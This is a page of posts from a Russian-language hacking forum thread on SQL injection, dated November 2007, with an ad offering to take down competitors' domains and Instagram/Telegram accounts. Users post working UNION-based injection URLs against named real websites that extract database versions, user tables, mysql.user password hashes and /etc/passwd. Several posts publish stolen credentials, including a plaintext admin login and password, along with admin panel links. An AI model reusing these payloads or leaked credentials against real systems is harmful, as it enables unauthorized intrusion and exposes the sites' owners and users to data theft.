УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 366 из 1242

366

Опции темы

Поиск в этой теме

Опции просмотра

#3651

11.11.2007, 03:06

FoxMALDER

Познающий

Регистрация: 26.07.2007

Сообщений: 50

Провел на форуме:
177050

Репутация: 62

Астера - коммерческая недвижимость
5.0.45atlanticspbsuatlanticspbsu@81.177.16.61

Код:

http://www.asteragroup.ru/?cid=3&sid=-28+union+select+concat_ws(0x05,version(),database(),user()),2/*
http://www.asteragroup.ru/?cid=3&sid=-28+union+select+concat_ws(0x05,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME),2+from+information_schema.columns+limit+1/*

DB: atlanticspbsu

Код:

analitic_cat
analitic_cat_en
analitic_files
analitic_files_en
category
classes
dictionary
down_categories
down_files
eng_news
estate_cat
estate_contact
estate_descr_en
estate_descr_ru
estate_obj_type
estate_pic
estate_razd_type
estate_region
investment_ru
maillist
maillistt
mainmenu
modules
omenu
prjterms_cat
prjterms_list
projects
projects_area
projects_descr_en
projects_descr_ru
projects_pic
projects_region
realtypic
realtyrent
regions
rus_news
static
users (id,firstname,lastname,user_id,pwd,group_id,status,dt)
users_group_cat (gid,group_name)

DB: atlanticspbsu_1

Код:

CLASSES
DICTIONARY
ELEMENTS
IMAGES
OBJECTS
PAGES
PAGE_INFO
PAGE_PARAMS
PAGE_PARTS
PAGE_PART_INFO
PAGE_PARTS_PARAMS
PARAMS
REVIEWES
SITES
TEMPLATES
TEMPLATE_PARAM_TYPES

Админка тут , а админа пасс ниже...

Код:

http://www.asteragroup.ru/?cid=3&sid=-28+union+select+concat_ws(0x05,user_id,pwd),2+from+users/*

P.S.: Бонус - здесь ...

P.P.S.: Чуть не забыл, результат в title выводится!

Последний раз редактировалось FoxMALDER; 11.11.2007 в 07:38..

#3652

11.11.2007, 03:40

FoxMALDER

Познающий

Регистрация: 26.07.2007

Сообщений: 50

Провел на форуме:
177050

Репутация: 62

5.0.45-logsdporgu_frinetuasdporgu_fri@localhost

Код:

http://www.fri.net.ua/loadnews.php?id=-1+union+select+1,2,concat_ws(0x05,version(),database(),user()),4,5,6,7,8,9,10,11,12/*
http://www.fri.net.ua/loadnews.php?id=-1+union+select+1,2,concat_ws(0x05,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME),4,5,6,7,8,9,10,11,12+from+information_schema.columns+limit+0,1/*

Последний раз редактировалось FoxMALDER; 11.11.2007 в 03:42..

#3653

11.11.2007, 06:54

-MoLoToK-

Познающий

Регистрация: 04.10.2007

Сообщений: 32

Провел на форуме:
188171

Репутация: 88

Отправить сообщение для -MoLoToK- с помощью ICQ

Внимание лицам не достигшим 18 лет просматривать данную скулю не рекомендуется)))

Скуля

Код:

http://pornoshara.com/item.php?tid=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*

Mysql.user

Код:

http://pornoshara.com/item.php?tid=-1'+union+select+1,2,3,4,5,6,7,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+mysql.user/*

user:Pass
-----------------------

Код:

http://pornoshara.com/item.php?tid=-1'+union+select+1,2,3,4,5,6,7,8,user,10,11,12,13,14,password,16,17,18,19,20,21,22,23,24,25,26,27,28+from+mysql.user/*

root:*111921C1B9EE2D4BD4C825031689DCD63239883F
-----------------------

Код:

http://pornoshara.com/item.php?tid=-1'+union+select+1,2,3,4,5,6,7,8,password,10,11,12,13,14,convert(concat(load_file(0x2f6574632f706173737764)),binary),16,17,user,19,20,21,22,23,24,25,26,27,28+from+mysql.user+limit+2,1/*

#3654

11.11.2007, 13:57

Elvis000

Moderator - Level 7

Регистрация: 23.04.2007

Сообщений: 646

Провел на форуме:
4901399

Репутация: 1035

Лесная промышленность
www.woodpages.ru

Код:

http://www.woodpages.ru/rubrik.php?param=news2&id_com=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(user(),0x71),0x71),3,4,5,6,7,8,9,10/*

user:oilpagesru@localhost
version:4.1.15-log
base:oilpagesru_wood

#3655

11.11.2007, 16:28

KEHT33

Познающий

Регистрация: 26.11.2006

Сообщений: 49

Провел на форуме:
65459

Репутация: 79

Код HTML:

http://www.wapnet.pl/comment.php?what=news&id=16+UNION+SELECT+1,2,concat(nick,0x2b,pass,0x2b,icq),4,5,6,7,8,9,10,11,12+from+users/*

Код HTML:

http://www.wapnet.pl/comment.php?what=news&id=16+UNION+SELECT+1,2,pass,4,5,6,7,8,9,10,11,12+from+admins/*

rambo8:aeb499f90812d76a658cb992513ace90

leple
robak:aeb499f90812d76a658cb992513ace90

leple
bibiak:d64773c962c978417cd6b9112064dbf7

админка

Код HTML:

http://www.wapnet.pl/admin.php

Последний раз редактировалось KEHT33; 11.11.2007 в 16:51..

#3656

11.11.2007, 18:10

groundhog

Познавший АНТИЧАТ

Регистрация: 12.05.2007

Сообщений: 1,235

Провел на форуме:
2238549

Репутация: 1318

Отправить сообщение для groundhog с помощью ICQ

Уязвимость на http://www.cotka.ru/. Крупный онлайн портал по покупке/продаже сотовых телефонов и аксессуаров.

Цитата:

http://www.cotka.ru/BS/view.asp?nm=2465)+OR+1=@@version+--+&nr=162

Цитата:

http://www.cotka.ru/BS/view.asp?nm=2465)+OR+1=@@servername+--+&nr=162

Поиск по таблицам:

Цитата:

http://www.cotka.ru/BS/view.asp?nm=2465)+or+1=(select+top+1+table_name+fr om+information_schema.tables+where+table_name+not+ in+('NastrSet','NastrPhones','NastrList','TV_Progr am','Users_contacts','Accessuars','accessuars_name ','Hard','AllBase','History_Archive','AllPhone','A rchive','Black_List','City','Instr','Constants','s essions','Credits','sessions_keys','Disp_Right','G lossary','TV_Picture','GuestBook','History','Jurna l','TV_Mistake','Jurnal_CFG','TV_Announce','Pictur es','Mailer','Statii','Mailer_Log','Mistakes','Mon ey','Sotovik_Err','Digital_Tech','Operators','Page rs','Phones_S','RestrictedPhones','TreeList','Rait ing_Model','Raiting_Model_List','Right_List','dtpr operties','Subject','OperatorsGSM','temp_archive', 'listcity','Users_list','Subject_Site','Nastr','Fa stOff','city_codes','TV_Announce_buf','ForbiddenPh ones','codes_city','tv_temp','TV_Kanal','Statii_Ru b','stoplist','Phones_from_IRR'))+--+&nr=162

Интересные таблицы: Users_contacts (контактные данные пользователей), Credits (информация по кредитам пользователей), Users_list (учётные данные пользователей).

Поиск по полям в Credits:

Цитата:

http://www.cotka.ru/BS/view.asp?nm=2465)+or+1=(select+top+1+column_name+f rom+information_schema.columns+where+table_name='C redits'+and+column_name+not+in+('id','num_credit', 'Active','addr','Address','AddZagolText','algorith m','Alias_Rub','allphone','Announce_id','Announce_ Text','Answer','auid','Author','backuplsn','BegDat a','binary_message_body','bitlength','bitposint',' bitposleaf','brkrins','brkrinst','Cast_List','CD_D VD','cert','chk','City','city_cod','city_name','cl ass','CName','Cnt','colid','collationid','compid', 'contact_address','contact_backwww','contact_city' ,'contact_email','contact_family','contact_howname ','contact_icq','contact_name','contact_org','cont act_otche','contact_phone','contact_phone2','conta ct_phone2cod','contact_phonecod','contact_type','c ontact_www','contract','conversation_group_id','co nversation_handle','convgroup','Country','country_ cod','country_name','CPU','created','createlsn','c redit','Credit_Flag','crend','crerrors','crrows',' crschver','crstart','crtsnext','crtype','crypto',' CurDay','Data','dataspace','Date','Date_Add','Date _Last','dbid','defval','depid','depsubid','deriv', 'Description','dflt','dfltsch','diagid','diffbaseg uid','diffbaselsn','diffbaseseclsn','diffbasetime' ,'Disp','Disp_Flag','dlgerr','dlgid','dlgopened',' dlgtimer','docid','droplsn','DT','DTEnd','E_Mail', 'EMail','EMailAnswer','Empty','encrtype','enddlgse q','enqtime','enum','Err','Etalon'))+--+&nr=162

Поиск по полям в Users_list:

Цитата:

http://www.cotka.ru/BS/view.asp?nm=2465)+or+1=(select+top+1+column_name+f rom+information_schema.columns+where+table_name='U sers_list'+and+column_name+not+in+('user_id','user _active','username','user_password','user_session_ time','user_last_visit','user_email','Active','add r','Address','AddZagolText','algorithm','Alias_Rub ','allphone','Announce_id','Announce_Text','Answer ','auid','Author','backuplsn','BegData'))+--+&nr=162

Логин:хеш-пароля (походу MD5):

Цитата:

http://www.cotka.ru/BS/view.asp?nm=2465)+or+1=(select+top+1+username%2B': '%2Buser_password+from+Users_list+where+username+n ot+in+'Guest')+--+&nr=162

#3657

11.11.2007, 19:17

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Отправить сообщение для fRg с помощью ICQ

joburionline.ro

Код:

http://www.joburionline.ro/catalog.php?cat=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9/*

1. 4.1.22-standard-log:joburion_joburi:joburion_user@localhost

perlasuferintei.ro

Код:

http://www.perlasuferintei.ro/catalog.php?mod=detaliiCarte&id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12/*

4.0.27-standard

erla_perlasuferintei

erla@localhost

reklamni-predmety.name

Код:

http://www.reklamni-predmety.name/catalog.php?cat=5&subcat=60&brand=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user()),10,11,12/*

5.0.22-Debian_0ubuntu6.06.2:reklamni-predmety5695:reklamni-pre5695@localhost

#3658

11.11.2007, 19:33

delay(0)

Участник форума

Регистрация: 22.11.2006

Сообщений: 117

Провел на форуме:
1813343

Репутация: 141

e-shop

http://www.semicom.lv/

Users:

Код:

http://www.semicom.lv/index.php?page=list&l1=81+union+select+1,2,3,4,5,6,concat_ws(0x3a,name,pass,email),8,9,1+from+users+limit+0,1/*

Admins:

Код:

http://www.semicom.lv/index.php?page=list&l1=81+union+select+1,2,3,4,5,6,concat(login,0x3a,pwd),8,9,1+from+admins+limit+0,1/*

http://www.semicom.lv/admin.php
semicom : plokij123

#3659

11.11.2007, 21:32

FoxMALDER

Познающий

Регистрация: 26.07.2007

Сообщений: 50

Провел на форуме:
177050

Репутация: 62

Ауди Центр Витебский - официальный дилер Audi в Санкт-Петербурге
4.1.21-logdb0013135000131350@localhost

Код:

http://www.audi-vitebskiy.ru/index/experience/index/experience/index/experience/index.php?ob=class2&idclass=-10+union+select+1,2,concat_ws(0x05,version(),database(),user()),4,5,6,7,8,9,10,11/*

di_bodytype
di_carclass
di_carclassgallery
di_carmodel
di_carmodelparam
di_carmodelspec
news

#3660

11.11.2007, 22:37

v1ru$

Постоянный

Регистрация: 17.03.2007

Сообщений: 336

Провел на форуме:
3766085

Репутация: 576

Отправить сообщение для v1ru$ с помощью ICQ

что мне невезёт на 5й мускул(
Везде 4й мускул

Код:

http://sanotdel.ru/php/shoper_view.php3?id=180+UNION+SELECT+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(concat(version(),0x3a,user(),0x3a,database(),0x78),0x78),6,7,8,9,10,11,12,13,14,15,16/*

Код:

http://asv.spb.ru/?id=-16+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat(version(),0x3a,user(),0x3a,database(),0x78),0x78),0x78)/*

Код:

http://top.apic.ru/index.cgi?Template=description&Id=-6484+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,version(),database(),user()),12,13,14,15,16,17,18,19,20/*